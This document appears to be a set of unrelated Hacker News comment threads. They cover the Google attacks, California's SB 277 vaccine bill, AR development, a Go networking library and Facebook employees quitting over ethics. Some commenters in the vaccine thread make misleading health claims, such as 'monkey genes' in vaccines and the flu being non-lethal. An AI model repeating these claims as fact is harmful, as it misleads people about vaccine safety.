How Google attacks changed the security game - <AUTHOR> http://gcn.com/articles/2010/09/06/interview-george-kurtz-mcafee-google-attacks.aspx

<comment><USER2> All in one page so you don't have to click "Next" 5 times to read this short article:

[http://gcn.com/Articles/2010/09/06/Interview-George-Kurtz- Mc...](http://gcn.com/Articles/2010/09/06/Interview-George-Kurtz-McAfee- Google-attacks.aspx?p=1)

<comment><USER3> Doesn't work for me.. They must be detecting that and redirecting.

</comment></comment><comment><USER4> What a staggeringly horrid web site, and content-free article. Pop-ups, ads all over the place, sign-in boxes, and an article in a slot-sized window.

tl;dr: security attacks continue to evolve, and targeted attacks are tough(er) to detect and deal with, and there are folks that successfully target Google and other security-savvy organizations via combinations of social engineering and process flaws and targeted and zero-day flaws.</comment>


California Senate overwhelmingly passes SB 277, abolishing most opt-outs - <AUTHOR> http://www.mercurynews.com/science/ci_28115461/bill-restricting-vaccine-exemptions-overwhelmingly-passes-state-senate <comment><USER2> I'm interested to learn about the case law about this as it pertains to the constitutionality of disallowing a religious exemption.

Some common vaccines are derived from human fetal cell lines, and those fetal cell lines are themselves derived from a handful of elective abortions. For many of those vaccines, there are alternatives that are not derived from human fetal cell lines, but not all.

Several religious denominations that oppose abortion, e.g. the Catholic Church, have addressed this issue and said that such vaccines can and should be used, so long as there is no reasonable alternative and there is a proportionate reason. (The Church's reasoning, in case you're curious, is that the vaccines' connection to abortion is considered remote cooperation.)

But even though some denominations see the vaccines as permissible, I suppose it might be possible for a person, motivated by religious belief, to be completely on board with the efficacy of the vaccine but oppose how it was created on moral grounds, and so demand a religious exemption.

Typically in the U.S., religious beliefs must be reasonably accommodated. I would think that someone who objects to the vaccine mandate on religious grounds could make the argument that if it is possible for _anyone_ to be accommodated (in this case, those with medical issues), then accommodation itself should be considered reasonable, and it's just a matter of determining whether accommodating both is so risky as to be unreasonable.

In other words, if we're willing to assume X amount of risk by allowing medical exemptions, then it follows that at least _some_ risk can be tolerated. And if a religious objector can show that additionally assuming Y risk by allowing religious objections is not substantially more risky, then I think they could make the case that it should be considered reasonable to also accommodate religious beliefs.

<comment><USER3> Permitting a small number of exemptions does not compromise hive immunity. Permitting a large number of exceptions does. The article states an objective example of where hive immunity was compromised due to a lack of vaccination. So there is sound scientific reasoning for disallowing religious exemption for public health reasons.

In terms of priorities, it seems reasonable for medical exceptions (eg. "this child is allergic to the vaccination so is more likely to die if it is administered") to come before religious ones ("my child won't suffer from an increased risk of harm [than other children receiving the vaccination] but I don't want the vaccine to be administered").

It might even be reasonable to permit a small quota of religious objections, so that the total number of exceptions does not compromise hive immunity. But then how would it be decided which children would not be permitted in this group?

The other option would be to simply ban children not vaccinated for religious reasons from the ability to spread disease by excluding them from schools. This seems to be the proposition made already though:

> "I am concerned about opportunities for equal education," because > unvaccinated kindergarteners would require home schooling, Bates said.

<comment><USER2> > In terms of priorities, it seems reasonable for medical exceptions (eg. > "this child is allergic to the vaccination so is more likely to die if it is > administered") to come before religious ones ("my child won't suffer from an > increased risk of harm [than other children receiving the vaccination] but I > don't want the vaccine to be administered").

It's true that a child immunized against a religious objection won't be physically harmed, but I think that many people who have been forced to do things against their religious objections will tell you that the emotional harm of being forced to violate their religious beliefs is substantial. (Which is why there have been numerous cases throughout history of people who have died rather than violate their faith.)

I know comparing physical harm to emotional harm is hard to do, but I think it's worth pointing out that the "what's the harm?" argument requires a more nuanced understanding of what both sides feel is at stake than is typically considered.

</comment></comment></comment><comment><USER4> > "The only thing we can do is continue to educate our officials" about the > personal belief exemption, said Lisa Bakshi, a mother from Placer County. > "The parents who do it now do it for very legitimate reasons. We don't do it > because we are uninformed."

This isn't being uninformed, it's being _actively_ uninformed.

</comment><comment><USER5> I certainly hope this makes it past the Assembly and into law. I am stunned at how rancorous the debate has been though. If I ever questioned if there was a problem with science education, that question has been soundly answered. Way too many people are getting through our primary education system with absolutely no understanding of how science, as a process and discipline works. And that is a very sad thing indeed.

<comment><USER6> It's astounding how the more educated and affluent areas are the ones with the highest level of exemptions. So its not so much as science education, but people's disconnect between science in theory and how it's applied in real life.

It's not the middle class or lower middle class and poor who opt out the most but upper middle and wealthy out of irrational fear.

But yes, glad this loophole gets closed.

<comment><USER3> > It's astounding how the more educated and affluent areas are the ones with > the highest level of exemptions.

Not necessarily. There's also a tragedy of the commons here. If all children but mine are vaccinated, then my child is the safest, since I avoid both disease risk and vaccination risk.

So it can actually be rational to not vaccinate on an individual basis, depending on the state of vaccinations in the population. (On the other hand it is also rational to support a law forcing everything to vaccinate, since that fixes the tragedy by fiat).

<comment><USER6> What vaccination risk are you referring to, other than people with identified risk, immune deficiency, ec. There is no risk posed by vaccinations.

One other point, is while a local population might be vaccinated, you don't know who is coming in and out, i.e. going through town, one of those could be carrying the disease, so it's still irrational.

</comment></comment></comment></comment><comment><USER7> Perhaps now people will stop calling it a 'controversy'? That word makes it the concerns seem legitimate.

There is no such 'controversy' in Brazil, for instance. The vaccination programs have been very successful. Several life-threatening diseases were greatly reduced or even eradicated, no matter how poor the region. We did have a revolt, in 1904 ([http://en.wikipedia.org/wiki/Vaccine_Revolt](http://en.wikipedia.org/wiki/Vaccine_Revolt))

Vaccines are one of the humankind's greatest accomplishments. To avoid vaccinations due to fuzzy "religious grounds" is to turn the clock backwards at least a century.

</comment><comment><USER8> The voluntary consent of the human subject is absolutely essential. [http://www.hhs.gov/ohrp/archive/nurcode.html](http://www.hhs.gov/ohrp/archive/nurcode.html)

</comment><comment><USER9> Great news, this means the vaccination numbers can go back to the western world level in the LA private schools.

[http://www.theatlantic.com/health/archive/2014/09/wealthy- la...](http://www.theatlantic.com/health/archive/2014/09/wealthy-la-schools- vaccination-rates-are-as-low-as-south-sudans/380252/)

</comment><comment><USER10> What are the 10 vaccines being mandated?

<comment><USER11> (1) Diphtheria. (2) Hepatitis B. (3) Haemophilus influenzae type b. (4) Measles. (5) Mumps. (6) Pertussis (whooping cough). (7) Poliomyelitis. (8) Rubella. (9) Tetanus. (10) Varicella (chickenpox).

[http://leginfo.legislature.ca.gov/faces/billNavClient.xhtml?...](http://leginfo.legislature.ca.gov/faces/billNavClient.xhtml?bill_id=201520160SB277)

<comment><USER12> For what it's worth, this actually ends up being fewer than ten distinct kinds of inoculations, as 1, 6, and 9 are typically combined as the DTaP/TDaP vaccine, and 4, 5, and 8 are combined as the MMR vaccine. Some do need boosters, though, so I imagine it comes out in the wash.

</comment></comment></comment><comment><USER13> It's about time we stop giving religious beliefs any special treatment at all compared to actual measurable evidence (e.g. inhumanely killing animals, mutilating/indoctrinating children, etc.).

<comment><USER14> Or tax exempt status for teaching nonsense pseudoscience.

</comment></comment><comment><USER15> Just FYI, this is an inaccurate headline ("No More Vaccine Exemptions: California Senate Overwhelmingly Passes SB 277").

"No More Vaccine Exemptions" will be true only IF this passes the Assembly, where it faces a tougher fight. (Then the governor must sign it, but this is expected to happen.)

(I wish HN headlines about politics were half as accurate as the technical ones. See also [https://news.ycombinator.com/item?id=9276841](https://news.ycombinator.com/item?id=9276841))

<comment><USER16> If you see an inaccurate headline you can always email us (firstname.lastname@example.com). We change those all the time, but there are too many comments posted here for us to see them all.

</comment></comment><comment><USER17> "The science is clear: Vaccines are safe and efficacious."

Nothing is 100% safe. So when they say something like this, it's pretty scary. I don't think it's causing autism, but some people do have ill effects due to vaccines.

<comment><USER18> Ah, excellent. Taking a more nuanced view than the simple binary "safe" or "not safe".

Let's continue down that path. Since nothing is 100% safe, we ought to choose the _most_ safe option. And since we're talking about government policy here, it's not about what's safest for your kids, but what's safest for everyone. So what's safer, vaccines, or measles?

I think rlpb had it right elsewhere in thread - this is about a tragedy of the commons. Anti-vaxxers don't want to ban vaccines, they want to be the only ones not taking them.

<comment><USER17> "So what's safer, vaccines, or measles?"

This isn't the point. The point is that from this ruling, a person would assume that it's completely safe with no chance of any ill effects. I've even seen a few posts saying that any ill effects are "old wives tales".

Here is a good list:

[http://www.cdc.gov/vaccines/vac-gen/side- effects.htm](http://www.cdc.gov/vaccines/vac-gen/side-effects.htm)

From the CDC, which is a good source. Some of these could cause serious problems.

"Anti-vaxxers don't want to ban vaccines, they want to be the only ones not taking them."

Who said anything about anti-vaxxers?

If people in this world are foolish enough to believe that the things Dr. OZ talks about on his show will cure something (I watched the show many times and he has never actually said this), this ruling is pretty dangerous.

<comment><USER19> >that from this ruling...this ruling is pretty dangerous.

A piece of legislation that hasn't even passed yet is not the same thing as a court ruling.

<comment><USER17> "California Senate overwhelmingly passes SB 277..."

I guess you missed this part?

<comment><USER19> >I guess you missed this part?

No.

It is a bill that passed in the Senate. It still has to pass in the Assembly to become law.

Not a court ruling and not yet a law.

</comment></comment></comment></comment></comment></comment><comment><USER20> I see a lot of pro vax people here. (Wonder how many of you actually have children less than 2 years old). Anyway here are some things that concerned me:

1\. "Vaccines are safe" \- The U.S. has the National Vaccine Injury Compensation Program [1]. In short it pays people who are hurt by vaccines. If vaccines are so safe why is this program needed?

2\. "We had these vaccines as Kids" \- The vaccine injury program made vaccine manufactures not be liable for injuries cause by their vaccine. This happened in 1988. "Since 1988, the U.S. childhood immunization schedule has rapidly expanded"[2]. In you are older than 28 you did NOT receive a lot of these vaccines as a kid.

There is a whole lot more but I don't feel like writing a book.

[1][http://www.hrsa.gov/vaccinecompensation/index.html](http://www.hrsa.gov/vaccinecompensation/index.html) [2][http://www.cdc.gov/mmwr/preview/mmwrhtml/00038256.htm](http://www.cdc.gov/mmwr/preview/mmwrhtml/00038256.htm)

<comment><USER21> I hesitate to reply here but some additional points to consider (esp. re item 11 in the list of vax): \- exponential growth in the number of vaccines over time \- non-leathal nature of some of the newer vaccinees i.e common flu (scope creep) \- concerns around the early age to be injecting so many foriegn substances (monkey genes) at the same time \- trust in a for-profit medical system (revolving door governance) \- science is not perfect \- mandatory medical procedures should be viewed as a slippery slope \- no-one died in the Disneyland outbreak \- perspective: "in 2011, outbreaks resulted in over 30,000 cases, 7 deaths" [http://shotofprevention.com/2015/01/22/disneyland- measles-ou...](http://shotofprevention.com/2015/01/22/disneyland-measles- outbreak-should-you-be-concerned/)

"Season's failed flu shot raises questions about immunization program" [http://www.theglobeandmail.com/life/health-and- fitness/healt...](http://www.theglobeandmail.com/life/health-and- fitness/health/seasons-failed-flu-shot-raises-questions-about-immunization- program/article22730631/)

<comment><USER19> The common flu is non-lethal? _Facepalm_

Flu deaths are hard to measure but "CDC estimates that from the 1976-1977 season to the 2006-2007 flu season, flu-associated deaths ranged from a low of about 3,000 to a high of about 49,000 people." \- [http://www.cdc.gov/flu/about/disease/us_flu- related_deaths.h...](http://www.cdc.gov/flu/about/disease/us_flu- related_deaths.htm)

Furthermore, I personally know one of those people killed by the flu.

</comment></comment></comment><comment><USER22> This article survives on HN because it strokes people'e scientific literacy egos and lets them feel outraged and/or look down on others. This is not of sufficient intellectual interest to warrant being on the front page.

<comment><USER23> Maybe a lot of people are interested in the science of ego-stroking.

<comment><USER24> Science has been growing a strange ego-stroking pop culture faction of late, and it's fairly worrying. It's certainly not an attitude that's actually going to improve anything. All it does is serve to create deeper divides that are even harder to bridge. People just dig in their heels.

I'm sure it's emotionally satisfying for people in some way, but I've come to a place where such an attitude significantly lowers my opinion of the person wielding it.</comment></comment></comment>


reddit is down - <AUTHOR>

"for emergency maintenance" <comment><USER2> This interrupts my procrastination.

</comment><comment><AUTHOR> Back up, for me at least.

</comment><comment><USER3> They're switching over to bitlocker.</comment>


Ask HN: How to get started creating AR apps? - <AUTHOR> Hey everyone,
I am a total beginner regarding AR and I would like to make AR stuff. Does anybody have any idea how to get started?
Thanks a lot! <comment><USER2> Hey there!

Tldr;

There are two divisions of AR in my opinion, Marker based AR and Markerless based AR

Marker based AR: Platforms include Vuforia, ARToolKit, awe.js,argon.js

Markerless based AR: Platforms include Occipital Structure Sensor, Google Tango, and Hololens

People use Game Engines such as Unity and Unreal to make the 3D games and content, cause AR is just 3D games/content but you can see in front of you.

Just to cover all bases, Pokemon Go adds a little AR (3D content+camera+gyroscope-based rendering), but adds location based services to turn your world into your game.

Underlying Technology to make AR possible are:

Computer Vision:(specifically Feature Tracking and rigid pose estimation algorithms)

and Computer Graphics: (OpenGL, WebGL, 3D math for game development)

Marker based AR is cool, but not the best platform to build engaging, cool AR apps that people hope to build. The main issue here is that the content or apps you want to build is really dependent on the underlying computer vision technology that is built in the AR platform, and is confined to a small space.

Markerless AR is what I would recommend because it enables the reverse to what Marker based AR does, your content can be rendered anywhere in your entire environment! Another plus is Markerless AR is getting much better tech-wise (Depth Cameras cheaper, more accurate, and SLAM vision methods are super crazy robust), and now this technology being more integrated into mobile phones, which is great cause that makes these cool apps more accessible to people.

IMO, Markerless AR is the future as it gets more integrated onto mobile. Places to start looking to build Markerless AR apps would be Occipital Structure sensor (mobile AR on iphone), Zen Phone AR and Phab 2 Pro (mobile AR for android), and Hololens (but who wants that, its so expensive and you get a tiny FOV (no disrespect Microsoft).

I can expect this can be not super helpful as this is a broad overview, so shoot a comment or message of what you are interested in building cause I can get much more specific on the stack/knowledge you need to know to build the game/app you want.

Let me know if you or anyone else wants more details, as I can refer you all to links and resources that have helped me over the years. If you want to email me also, my email is email@example.com

I am currently building AR on the Occipital Structure Sensor and I plan in a few months after my AR contract is completed, to build a course/tutorial blog for people to get into building great AR apps!

<comment><AUTHOR> Thanks a lot for your answer! I sent you an email

</comment></comment><comment><USER3> I'm also interested in this. Alinalex feel free to email me (in my profile) maybe we can share resources / learn together.</comment>


There IS a Single Best Way to Write Software - <AUTHOR> http://crossplatform.net/there-is-a-single-best-way-to-write-software/

<comment><USER2> Even if we set aside the fact that this post defines the "best way" as an empty tautology, it also neglects to acknowledge that the mix of requirements, challenges and constraints a project will ultimately entail is generally not quantitatively knowable before the fact.</comment>


Gev – A lightweight, fast non-blocking TCP network library for Go - <AUTHOR> https://github.com/Allenxuxu/gev <comment><USER2> Doesn't this preclude the easy use of goroutines to handle concurrent requests while still keeping the promised performance benefits?

And since Go doesn't have any infrastructure in the language to help developers deal with event loops (Futures, async/await, etc), wouldn't it be a better choice to use a language built for event loops like Rust?

The use of event loops- "reactors" in Go, while proclaiming the benefits of green threading seems similar to the use of interface{} and manual code generation scripts while proclaiming the benefits of no generics or macros.

</comment><comment><USER3> It's for Go. For libraries it probably should be in the title.

<comment><USER4> Ok, we've gone with Go.

Submitted title was "Gev – A lightweight, fast non-blocking TCP network library based on Reactor mode".</comment></comment>


Facebook Employees Are Quitting or Switching Departments Over Ethical Concerns - <AUTHOR> http://www.businessinsider.com/facebook-employees-quitting-whatsapp-instagram-cambridge-analytica-report-2018-4 <comment><USER2> This is sort of surprising information, from my view.

The information about their business model and data practices which people seem to be so surprised by was/is common knowledge among people who work with these technology stacks. Going to work for Facebook seemed like it would have meant supporting and abetting those practices; they were very clear about what they were doing, and the roles were in no way ambiguous.

The cynic in me wonders if these employees are just responding to how others are starting to view their positions, more than ethical or moral quandaries.

<comment><USER3> Exactly.

And I doubt it's a mass exodus either.

If you read "Surely you're joking Mr Feynman", the author clearly states that when making the bomb, they had a lot of fun. Lots of budgets. Only smart people. Working on the coolest projects. He even plays with the censorship and security practices.

They never really thought too hard about the ethic part of it: they need to end the war, and that's it. They really said "oh we fucked up" once the bomb exploded.

And we are talking about brilliant minds with very positive personalities.

While skilled, I doubt than more than a small fraction of FB work force is close to Feynman's IQ. And they have a very arrogant culture. Somehow I doubt FB is going to bleed talent anytime soon.

<comment><USER4> >While skilled, I doubt than more than a small fraction of FB work force is close to Feynman's IQ.

Feynman is semi-famous for testing at a much lower IQ than most people assume. (He scored 125 on his test at school).

See: [https://www.psychologytoday.com/us/blog/finding-the-next- ein...](https://www.psychologytoday.com/us/blog/finding-the-next- einstein/201112/polymath-physicist-richard-feynmans-low-iq-and-finding- another)

<comment><USER5> Unless I'm mistaken, I tested out at 140 a long time ago.

There is no friggin way I'm remotely as intelligent as Feynman was so there goes any faith in IQ tests being meaningful. Most of the people who have worked for me are demonstrably smarter than me and none of them are close to Feynman. Smart people but not at his level IMO.

RIP IQ tests :)

<comment><USER6> Doesn't it depend a lot on what age you take the test though? Like I was very smart for my age as a child and I tested very high. Later in life I'm probably not much higher than my peers.

<comment><USER7> I think the whole point of IQ test is being stable independent of age.

<comment><USER8> It seems like a goal of IQ is to assign a single, unchanging score to someone's cognitive ability, but it is a severely flawed concept. The test should not be called "intelligence quotient" but something like "cognitive battery" instead.

You don't _have_ an IQ. It's a test that you take that can provide some useful information, but it isn't a fixed score, and "intelligence" (a word that is too ambiguous to use without careful definition) can't be reduced to a single number.

<comment><USER9> There's a difference as it were between, roughly speaking, stored knowledge and being able to figure things out on the fly, but multi-factor analysis says there's only one factor for being good at IQ tests, oddly enough. And every test of doing mental tasks we know how to create correlates strongly with any other test. There's a good explanation about how the tests work here:

[https://www.youtube.com/watch?v=Nfg0hfrQMFM](https://www.youtube.com/watch?v=Nfg0hfrQMFM)

<comment><USER8> I'm not saying that the tests are useless, just that they should be renamed, and culture should look at them a little differently.

<comment><USER9> I would agree with you if you're saying that they're not at all a measure of human worth. I don't get the 'rename' comment, though.

If we don't call one's skill at mental tasks 'intelligence', just how should we label it?

<comment><USER8> "Intelligence" is poorly defined in most conversations. The nature of the word and concepts around it lead to problems, even for people who can score high on IQ tests.

It will take me a long time to write out my thoughts completely, but I plan to do it at some point.

<comment><USER9> Mostly it seems to be quick and adaptable thinking, if I understand the test results right. The colloquial usage is all over the place, as usual, but the tests strongly correlate with things like being able to attain advanced education and ability to be successful. Some of it appears to be inherent, whether it's clock speed/RAM equivalent for our brains or what, because it survives twins raised in completely different homes (including large economic differences). That said, there are certainly environmental effects, too, especially in the negative direction (e.g. lead exposure).

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER10> > Facebook engineers are quitting or trying to transfer to Instagram or > WhatsApp

I find trying to transfer into another product hilarious: it seems to me that they just don't want to have the stigma of working for "Facebook, the product", without really solving the issues working for "Facebook, the company".

<comment><USER11> Yes.

Silicon Valley is turning on Facebook. Employees are realizing this and do not want a tarnished resume. If you actually believe this is for ethical reasons then you're not equipped for the world.

<comment> FLUX-YOU Working for FB itself during this controversy won't tarnish your resume anyway.

<comment><USER10> How sure are you about that?

<comment> FLUX-YOU As sure as it's still a developer's market and FB controversy doesn't erase technological accomplishments of individuals. Those accomplishments are easily untied from the politics of the situation.

You may lose a small amount of jobs that would come your way, but you'd still likely have dozens of offers to choose from from companies that don't view you as 'tainted'.

Software engineering doesn't have the same ethical consequences and motivations as other fields (medicine, law, etc.). It doesn't make much sense to punish the engineers when you invent ethical standards after-the-fact.

<comment><USER10> > FB controversy doesn't erase technological accomplishments of individuals

It doesn't, but it doesn't look great if those accomplishments end up having a negative impact on society. Do you really want to have "I wrote an novel algorithm to track people" on your resume?

> Software engineering doesn't have the same ethical consequences and > motivations as other fields (medicine, law, etc.). It doesn't make much > sense to punish the engineers when you invent ethical standards after-the- > fact.

I'll have to disagree with you there. Software engineers _should_ have to deal with the ethical consequences of the work they've done. And these ethical standards are hardly "after-the-fact": the idea of a right to privacy has been around for a _long_ time.

<comment> FLUX-YOU >Do you really want to have "I wrote an novel algorithm to track people" on your resume?

The great thing about writing resumes is that you can leave things off.

>Software engineers should have to deal with the ethical consequences of the work they've done.

Give us legal protections and resources to stand up and to and report unethical behavior by companies then. You're arguing correctly on a moral ground, but you don't have good industry ethics without good legal precedents.

Otherwise the best chance you've got is to get media attention and now you're fighting the company's PR.

When you can point to "Defendant can no longer work in software development because of an ethical failure" cases, you will have a much stronger argument to get engineers to follow ethical guidelines (we're assuming those have been written down on something other than a Github-feelgood repo for that case).

<comment><USER10> > The great thing about writing resumes is that you can leave things off.

Sure, but then you're diminishing the value of what you did. If someone asks you want you did at Facebook, it would be odd if you said "I'd rather not say", as would it if you had five years of blank in your resume.

> Give us legal protections and resources to stand up and to and report > unethical behavior by companies then.

I do agree that this is an issue that should be addressed.

<comment> FLUX-YOU >Sure, but then you're diminishing the value of what you did. If someone asks you want you did at Facebook, it would be odd if you said "I'd rather not say", as would it if you had five years of blank in your resume.

I guess if you only worked on creepy and unsavory things, you'd be in a tough spot. Assuming you can't weasel-word your way out of the creepiness and make it more palatable.

If someone ultimately thinks that, you're back to "move on to the next company". And the consequences are paid then and there. But again, you can lean on the market's health to make those consequences really small.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER12> I wonder how many new hires pass up Facebook because of ethical concerns. Whats scary is if even internally people are moving departments because of ethics, that basically filters so that the least ethical people are on the teams with the most ethical concerns.

If there's a real net effect on their hiring, they'll have to increase salaries to lure people in, which will take in even more unethical people (of course, not everyone that works for or wants to work for Facebook is unethical).

<comment><USER13> I find this issue much more pressing in the defense industry. I (thankfully) have the freedom to choose where I work. I will never willingly work on weapon systems. There are those that do though. Engineers who design things to kill other people. What the actual fuck.

<comment><USER14> That's great that you've got a set of principles that you live by, and are able to stick to them. However, your principles are not everyone's principles, and what you consider moral and ethical is not universal. Grellas had a great comment on working for the military industrial complex a few days ago, that I think is worth a read:

[https://news.ycombinator.com/item?id=16759324](https://news.ycombinator.com/item?id=16759324)

<comment><USER15> Lots of words in the linked comment, but it still amounts to making machines that mechanise the process of killing people.

<comment><USER16> "Lots of words"?!

You just reduced the linked comment - a nuanced, neutrally presented argument that there are significant practical and philosophical difficulties inherent to refusing to develop technology for military application - to _" lots of words"_, followed by what is effectively a rhetorical sneer.

You don't have to agree with every comment asserting an opposing view, but at least give them a modicum of respect if they put in as much intellectual effort as that one. Why even bother commenting if you're just going to issue a middle-brow dismissal without a substantive critique?

</comment></comment></comment></comment></comment><comment><USER17> I left YouTube about a year ago, in part due to cognitive dissonance between my values and the company's objectives. If you're a current employee of a similar company and you're considering your options, I understand the struggle and am happy to talk about it! Everyone's circumstances are different, but for me personally the TL;DR is that I'm much happier working somewhere where I can get 100% behind the mission. Anyway, email's in my profile.

<comment><USER18> As a parent, thank you. YT is like crack for kids and they take everything on there at face value. The sheer amount of fake or conspiracy videos that show up in the suggestions makes it beyond unusable. I've found myself in the seemingly backwards position of telling my kids to just go watch some normal TV if they want to watch something.

</comment></comment><comment><USER19> I work at Facebook and have personally seen no evidence of this.

The article cites one designer who left (out of ~25,000+ total Facebook employees).

<comment><USER20> I used to work at facebook and I disagree. Even prior to the recent scandals, there are plenty of employees who have decided to leave facebook due to ethical concerns (myself included). However, most keep this to themselves as Facebook fosters an environment where dissent is not tolerated.

Of course, it's unclear from this article whether negative sentiments have increased substantially this year compared to previous years.

And to clarify, I'm not saying that I am innocent or that I have taken some sort of ethical high-road. I gladly spent many years cashing out my pre-IPO stock grants while turning a blind eye to numerous immoral business practices. But soon after going public, there wasn't much benefit working at Facebook compared to any other large silicon valley tech companies. Without the financial motivation, the ethical concerns made it hard to be excited about remaining.

<comment><USER20> Also, I definitely can relate to today's onion video:

[https://www.theonion.com/facebook-employees-explain-daily- st...](https://www.theonion.com/facebook-employees-explain-daily-struggle-of- trying-to-1825147978)

I think this (parody) video does a better job of capturing employee sentiment than any Business Insider article.

</comment></comment></comment><comment><USER21> I have a lot of respect for someone who chooses to not work at a place because that place is doing bad things.

There are so many things that go into that decision, how "important" is it to be employed, how "bad" is the business behavior, how "costly" to a reputation is it to leave or to stay. It is the kind of question that puts a persons character and self image on trial, and in my experience few people emerge on the other side unchanged.

Faulkner said, "... the young man or woman writing today has forgotten the problems of the human heart in conflict with itself which alone can make good writing because only that is worth writing about, worth the agony and the sweat." I didn't really understand what he was talking about at the time. This was one of my High School English teacher's favorite quotes. But in the late 90's I met people who were being ripped apart by working at a dot.com company, knowing it was all smoke and mirrors, but staying to that they could vest their stock and sell it before the rest of the world figured it out. Being in a position where your personal wealth will benefit because you are participating in, although not directly responsible for, a fraud that is being perpetuated on the investors. How tainted is that silver?

A couple of years ago I was having lunch with an ex-Googler who was coming to grips with their loss of innocence. They had worked in AdWords and were part of a group that was increasing the average 'spend' of an AdWords customer with targeted messaging that was designed to appeal to their use of the system. This person had recognized that the goal of the program was to essentially "trick" the customer into spending more money when all the statistics said that doing so would not give them a commensurate growth in business or traffic. And as bad as they felt about participating, they continued to do so as the program manager stressed that nobody was "forcing" them to spend more money, just offering them a way to think about where they would "want" to spend more. This person was dealing with the realization that a younger version of themselves would be disgusted with the older version of themselves for "giving in."

It seems that people will talk about honor, character, and integrity in the abstract with one set of views and then find their real character (or lack thereof) when confronted with a test of their values.

<comment><USER22> How often does this kind of thing gets escalated to Larry/Sergey in general, BTW?

<comment><USER21> I expect everywhere is different. When I worked at Google I brought things up during open microphone time at the Friday meetings (usually hosted by one of Larry, Sergei, or Eric)

</comment></comment></comment><comment><USER23> Original nytimes article: "Facebook's rank-and-file employees, who have begun to question the company's leadership".

Business Insider derivative: "Facebook employees are quitting".

This article is just shitty clickbait.

<comment><USER24> Typical Business Insider

</comment></comment><comment><USER25> Too little, too late. Well, perhaps not, it's never too late, but still.

You built this behemoth, we told you so, you insisted because it was too hard to resist, deal with it.

For the record, the situations in which some people find themselves are complex and not everyone has the freedom a high salary or stocks or other perks grant some of us.

Nevertheless, for those of us who choose to make the world, our world, a nastier, less friendly, more neurotic place, I have zero sympathy. Reap what you sow, in my case it's disdain.

I apologize for the hard tone but I'm not exactly known for accepting "sorry not sorry" kind of apologies.

</comment><comment><USER26> I was recently testing the water with some Facebook engineers about switching companies because of privacy related concerns. There was some sympathy wrt the company going in a bad direction, but by and large they were staying put because they enjoyed the technical challenges presented to them and pay. I think stories like this are mostly fluff. Most engineers simply don't care.

</comment><comment><USER27> "Some... Many believe..."

We don't know if this is a cluster of concerned people, or a broad trend across the company. Given the vagueness, it's probably the former, because exaggerating the number lends to a more interesting narrative. Not much to see here, just a few people leaving FB.

</comment><comment><USER28> That was one employee? Articles like these have brought journalism over time, step-by-step.

</comment><comment><USER29> It's never too late to quit Facebook as a user, as a contractor, or an employee.

Better yet, become a whistleblower and leak to the press.

<comment><USER30> Leaking corporate data or trade secrets to the general public is not the solution for a couple of reasons.

\- Depending on the actual contents of the leak, people might panic; this is basically never useful.

\- Depending on the outlet, the contents may get distorted before being published in order to fit some narrative -- potentially causing a panic. See above.

\- You or the original leaker may be traced back using even editorialized data, or without the corporation seeing the data. This would land you and/or the original leaker in a lot of legal hot water.

\- A side-effect of that is that you'd become unemployable in many cases, and you might find yourself running from the law in other cases.

So, yeah -- quitting facebook probably isn't a bad idea as a user. Refusing work as a contractor or an employee may be difficult, but because absolute morality doesn't exist, it's really up to the person in that position to make the call about quitting.

<comment><USER31> Whistle blowing laws also exist, though.

So if they are doing something illegal, and therefore one is protected from prosecution, they should absolutely "leak" it to the authorities.

Doesnt matter if you are unemployable if you recieve millions in a whistle blowing reward from the government.

<comment><USER30> Not all countries have whistleblowing protections, and even fewer will offer fiscal rewards for the act.

<comment><USER31> But the US has them. And anyone who is working for a major tech company is "probably" working in the US and therefore covered by them.

And yes, the US offers rewards as well. Specifically, it is something like 10% of the monetary judgment against the company, in many cases.

</comment></comment></comment></comment></comment><comment><USER32> Facebook is indeed in a crisis, but I just got the feeling that the media is exaggerating anything that has the slightest negative bend to pour more fuel to the fire.

</comment><comment><USER33> The US is funny. We once had privacy laws that protected your video rental history. And yet very little has been done about protecting privacy except for COPA.

</comment><comment><USER34> I have wondered for a long time why Facebook employees were even around. It's not like the Cambridge Analytica scandal was the first time an ethically problematic issue had happened because of the way Facebook was designed to work. The people working on the platform created all these issues in some way or another (due to not understanding the implications or management direction).

My guess is that employees of Facebook mostly stay for the money, with a second reason being for some kind of exposure on working on things on "planet scale". I find it difficult to understand anyone being fine with Facebook's ethics all these years and then changing their minds now. It is quite weird.

Facebook is a soulless company. If you're a Facebook employee and haven't understood that yet, I cannot even sympathize with you (while being frustrated and worried about the implications for billions of humans).

</comment><comment><USER35> While data security is an issue Facebook must reckon with, it is not the major issue Facebook's existence poses to democracies around the world.

The real issue in my mind is that the platform can be used by bad actors to spread misinformation. It's as if during WWII the Nazi's had the ability to publish editorials in leading newspapers throughout the US.

While this is a feature/bug of the internet in general, the vast scale of Facebook and its near ubiquitous use amongst the general voting public in the US and other democratic nations make it the most potent vector through which a bad actor like Russia could spread propaganda and misinformation.

I'm not sure the recent move to label political advertisements as such will do much to safeguard us from misinformation.

</comment><comment><USER36> If it's anything like the rest of humanity, it's a handful of engineers who cares enough to switch. The rest of them will sit on their asses.

</comment><comment><USER37> How many times have there been privacy settings changes which undermined user intent or resulted in surprising defaults? How many snafus have we witnessed since its inception? I am astounded that employees are just _now_ deciding they've had enough.

<comment><USER38> It feels like a decade ago now, that FB and Google had data deletion buttons that were protected by how bad the interface was to find them.

</comment></comment><comment><USER39> "Over Ethical Concerns"

Maybe over concerns that their department is in limbo due to the general public's concern, but I can't imagine they have been working on their projects and only _now_ found ethical issues with them.

<comment><USER40> IDK, they may have ethical misgivings before but now find they have to rationalize these with their friends/family outside of the tech bubble. I'll cut them some slack until I know otherwise.

</comment></comment><comment><USER41> It is always important to consider the impact of your job in society.

Sorry for the following link. Sure, it is not the same, but this is the great debate of "following orders": [https://en.wikipedia.org/wiki/Eichmann_in_Jerusalem](https://en.wikipedia.org/wiki/Eichmann_in_Jerusalem)

I'd also like references about the ethical debate about the Manhattan Project where the greatest minds of humanity gathered to develop WMD.

</comment><comment><USER42> Is there any kind of organization for engineers that supports these types of ethical issues? I recently resigned from a job because because of similar privacy concerns and I found it really hard to talk to anyone. My situation was a very clear violation of California law but everyone I talked to said the same thing, "if you blow the whistle, you'll never work again."

<comment><USER43> There are some professors/researchers at Stanford and other CS-heavy schools building curricula around ethical CS/engineering. Perhaps it could be worth reaching out to some of these professors since you're in California. I'm not aware of any sort of organization for this topic, but I imagine you could talk with researchers in a private capacity.

